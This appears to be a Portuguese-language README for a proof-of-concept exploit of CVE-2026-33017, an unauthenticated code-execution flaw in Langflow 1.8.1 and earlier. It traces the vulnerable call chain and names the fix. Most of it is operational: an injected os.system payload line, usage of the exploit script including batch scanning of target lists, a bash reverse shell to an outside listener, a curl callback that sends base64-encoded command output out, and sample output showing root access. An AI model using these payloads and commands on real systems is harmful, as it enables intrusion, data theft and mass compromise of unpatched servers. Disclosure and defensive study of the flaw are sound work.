
CVE-2026-33017 - Uma execução remota de código não autenticada em Langflow <= 1.8.1 via Public Flow Build Endpoint
Apenas para fins educacionais e de testes autorizados.
O Langflow <= 1.8.1 expõe um endpoint público de construção de fluxos que aceita dados de fluxo controlados pelo atacante contendo código arbitrário. Esse código é passado para prepare_global_scope() em validate.py, que chama exec() sem sandboxing, resultando em execução remota de código não autenticada com os privilégios do processo do servidor.
| Pacote | Afetada | Corrigida |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
O endpoint build_public_tmp é intencionalmente não autenticado — ele foi projetado para permitir que qualquer pessoa execute um fluxo público armazenado. A falha é que ele também aceita um parâmetro opcional data contendo definições de fluxo controladas pelo atacante. Um usuário não autenticado pode, portanto, enviar código de nó arbitrário que o servidor trata como um grafo de fluxo legítimo e passa diretamente para rotinas de execução de código sem validação.
A correção é simples: remover o parâmetro data e forçar o endpoint a chamar exclusivamente build_graph_from_db(), de modo que os fluxos públicos executem apenas os dados armazenados, nunca código fornecido pelo atacante.
O payload do atacante percorre a seguinte cadeia de chamadas antes de chegar à execução:
| Etapa | Arquivo | Detalhe |
|---|---|---|
| 1 | chat.py:580 | build_public_tmp recebe dados do atacante no corpo da requisição |
| 2 | build.py:81 | start_flow_build() encaminha o payload não confiável |
| 3 | build.py:298 | build_graph_from_data() passa os dados para a construção do grafo |
| 4 | base.py:1168 | Graph.from_payload() desserializa as definições de nós fornecidas pelo atacante |
| 5 | base.py:1323 | instantiate_component() é chamado para cada nó |
| 6 | loading.py:43 | O campo code é extraído dos parâmetros do componente personalizado |
| 7 | eval.py:9 | create_class() recebe o código bruto do atacante |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — sem sandboxing |
prepare_global_scope() em validate.py processa nós ast.Assign durante a compilação do grafo — antes que qualquer método de fluxo seja invocado. Uma atribuição de nível superior no código injetado, portanto, é executada imediatamente:
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
A saída vai para o stdout do servidor, e não para a resposta HTTP. A exfiltração exige um callback de saída (reverse shell, webhook curl).
| Endpoint | Autenticação | Vetor de Ataque |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | Nenhuma | Remoto, não autenticado |
| Cenário | Requisito |
|---|---|
| A — AUTO_LOGIN habilitado | AUTO_LOGIN=true: obter um token JWT anonimamente, criar um fluxo PÚBLICO, explorar |
| B — Fluxo público conhecido | Um UUID de fluxo compartilhado/público é conhecido: explorar diretamente, sem autenticação necessária |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
| Flag | Padrão | Descrição |
|---|---|---|
--url | — | URL única do Langflow de destino |
--url-file | — | Arquivo de texto com uma URL por linha (varredura em lote) |
--cmd | id | Comando do sistema operacional a ser executado no alvo |
--flow-id | — | UUID de um fluxo público existente (pula a criação do fluxo) |
--threads | 5 | Número de threads paralelas para o modo em lote |
--timeout | 15 | Tempo limite (timeout) da requisição HTTP em segundos |
--no-cleanup | false | Manter o fluxo criado após a exploração |
Importante: O PoC usa
os.system()no nível do módulo — o comando é executado no servidor, mas a saída vai para o stdout do servidor, e não de volta para a resposta HTTP. O PoC apenas confirma que a execução ocorreu ([+] VULNERABLE). Para realmente receber a saída do comando, use um dos métodos de exfiltração abaixo.
Confirmação cega (verifica RCE sem capturar a saída)
python3 poc.py --url http://target:7860 --cmd "id"
Reverse shell — com listener local
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
Exfiltração OOB via callback HTTP — com servidor local
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
Com um UUID de fluxo público conhecido (sem necessidade de criação de fluxo)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
Varredura em lote a partir de arquivo
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
O PoC confirma que a execução ocorreu. [+] VULNERABLE significa que a construção foi bem-sucedida e o código injetado foi executado — isso não significa que a saída foi capturada.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
Saída recebida no servidor HTTP local:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec() em /api/v1/validate/code